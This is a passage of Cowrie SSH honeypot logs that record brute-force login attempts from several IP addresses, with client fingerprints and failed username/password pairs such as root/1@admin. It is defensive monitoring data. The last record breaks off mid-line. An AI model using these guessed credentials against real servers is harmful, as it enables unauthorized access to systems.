{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:23.591408Z","src_ip":"103.189.208.13","session":"c970af9dbf73","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1212","message":"login attempt [admin/1212] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:24.608010Z","src_ip":"103.189.208.13","session":"c970af9dbf73","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:04:25.856874Z","src_ip":"103.189.208.13","session":"c970af9dbf73","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":54504,"dst_ip":"159.203.135.109","dst_port":22,"session":"9bf5316c4740","protocol":"ssh","message":"New connection: 190.242.109.42:54504 (159.203.135.109:22) [session: 9bf5316c4740]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:22.539269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:22.543195Z","src_ip":"190.242.109.42","session":"9bf5316c4740","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:22.637380Z","src_ip":"190.242.109.42","session":"9bf5316c4740","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":39940,"dst_ip":"159.203.135.109","dst_port":22,"session":"2bc89bddbf35","protocol":"ssh","message":"New connection: 103.189.208.13:39940 (159.203.135.109:22) [session: 2bc89bddbf35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:22.762121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:22.768569Z","src_ip":"103.189.208.13","session":"2bc89bddbf35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:23.016054Z","src_ip":"103.189.208.13","session":"2bc89bddbf35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"Qwerty123","message":"login attempt [develop/Qwerty123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:23.055411Z","src_ip":"190.242.109.42","session":"9bf5316c4740","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1@admin","message":"login attempt [root/1@admin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:24.033344Z","src_ip":"103.189.208.13","session":"2bc89bddbf35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:24.151838Z","src_ip":"190.242.109.42","session":"9bf5316c4740","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:25.283172Z","src_ip":"103.189.208.13","session":"2bc89bddbf35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:05:32.793686Z","src_ip":"182.95.153.122","session":"1fc74226c9d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":34462,"dst_ip":"159.203.135.109","dst_port":22,"session":"3d4c30935607","protocol":"ssh","message":"New connection: 103.189.208.13:34462 (159.203.135.109:22) [session: 3d4c30935607]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:22.000450Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:22.005541Z","src_ip":"103.189.208.13","session":"3d4c30935607","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:22.256263Z","src_ip":"103.189.208.13","session":"3d4c30935607","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user1234","message":"login attempt [ubuntu/user1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:23.270629Z","src_ip":"103.189.208.13","session":"3d4c30935607","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:24.520126Z","src_ip":"103.189.208.13","session":"3d4c30935607","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":45160,"dst_ip":"159.203.135.109","dst_port":22,"session":"98e90b6b51c9","protocol":"ssh","message":"New connection: 190.242.109.42:45160 (159.203.135.109:22) [session: 98e90b6b51c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:28.372551Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:28.377268Z","src_ip":"190.242.109.42","session":"98e90b6b51c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:28.462119Z","src_ip":"190.242.109.42","session":"98e90b6b51c9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user01","password":"12345","message":"login attempt [user01/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:28.826967Z","src_ip":"190.242.109.42","session":"98e90b6b51c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:06:29.915694Z","src_ip":"190.242.109.42","session":"98e90b6b51c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":48488,"dst_ip":"159.203.135.109","dst_port":22,"session":"bd59fa29b3aa","protocol":"ssh","message":"New connection: 103.189.208.13:48488 (159.203.135.109:22) [session: bd59fa29b3aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:19.451777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:19.456239Z","src_ip":"103.189.208.13","session":"bd59fa29b3aa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:19.713755Z","src_ip":"103.189.208.13","session":"bd59fa29b3aa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"1234qwer","message":"login attempt [guest/1234qwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:20.764035Z","src_ip":"103.189.208.13","session":"bd59fa29b3aa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:22.022276Z","src_ip":"103.189.208.13","session":"bd59fa29b3aa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":35804,"dst_ip":"159.203.135.109","dst_port":22,"session":"3dea54777cbc","protocol":"ssh","message":"New connection: 190.242.109.42:35804 (159.203.135.109:22) [session: 3dea54777cbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:33.814211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:33.819051Z","src_ip":"190.242.109.42","session":"3dea54777cbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:33.904960Z","src_ip":"190.242.109.42","session":"3dea54777cbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres123","message":"login attempt [postgres/postgres123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:34.276718Z","src_ip":"190.242.109.42","session":"3dea54777cbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:35.364174Z","src_ip":"190.242.109.42","session":"3dea54777cbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":50928,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed5dc0c6d64c","protocol":"ssh","message":"New connection: 152.244.206.148:50928 (10.17.0.5:22) [session: ed5dc0c6d64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:52.144896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:52.148815Z","src_ip":"152.244.206.148","session":"ed5dc0c6d64c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:52.291984Z","src_ip":"152.244.206.148","session":"ed5dc0c6d64c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123456/","message":"login attempt [root/root123456/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:52.889446Z","src_ip":"152.244.206.148","session":"ed5dc0c6d64c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:07:54.034434Z","src_ip":"152.244.206.148","session":"ed5dc0c6d64c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":40900,"dst_ip":"159.203.135.109","dst_port":22,"session":"43a6d1a1a41d","protocol":"ssh","message":"New connection: 103.189.208.13:40900 (159.203.135.109:22) [session: 43a6d1a1a41d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:16.349283Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:08:16.354188Z","src_ip":"103.189.208.13","session":"43a6d1a1a41d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp